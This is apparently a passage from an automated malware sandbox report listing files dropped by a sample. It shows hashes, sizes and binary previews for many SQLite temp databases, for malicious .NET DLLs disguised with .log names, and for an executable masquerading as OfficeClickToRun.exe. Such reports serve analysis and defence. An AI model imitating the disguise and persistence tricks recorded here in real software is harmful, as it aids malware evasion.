File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xT4HYsGwQd

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xyRa9M4tBQ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\y39FEzNIxI

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yGVxH62Ofw

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yOS4sQORFt

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yQqGQaiFSu

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yRdFryTniD

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ycDigQu7Ne

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yi8EjKaXhU

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yv6NPzR0Ev

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zN8Lh2fQPL

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zNtANojNQT

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zQW16s7RCt

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zbf7rdAOeX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zp6sKrIVhP

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\MvQOkJAc.log

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Joe Sandbox View:	Filename: PlZA6b48MW.exe, Detection: malicious, Browse Filename: 3XtEci4Mmo.exe, Detection: malicious, Browse Filename: wxl1r0lntg.exe, Detection: malicious, Browse Filename: HaLCYOFjMN.exe, Detection: malicious, Browse Filename: Z90Z9bYzPa.exe, Detection: malicious, Browse Filename: 0J5DzstGPi.exe, Detection: malicious, Browse Filename: 6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe, Detection: malicious, Browse Filename: aW6kSsgdvv.exe, Detection: malicious, Browse Filename: HMhdtzxEHf.exe, Detection: malicious, Browse Filename: kJrNOFEGbQ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YgWNpVKF.log

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\fGYcdsWR.log

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\hPpdZxPn.log

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\mnFKrmWE.log

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\yYLIwxgh.log

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1899008
Entropy (8bit):	7.525948143512337
Encrypted:	false
SSDEEP:	24576:hK6gLfmF6uHqFnf/0Pka1Lt8QYc/qqYaXE3KnMwtE6tTs+O+TNi+LCyiqdUG09a:hK3OsWm/I0c/WKn7E8Tse/LCVz1
MD5:	DE020EA4DF72A05A6D3850F89804167F
SHA1:	33A5C198A384086B85DBFC8A9820D1758204667C
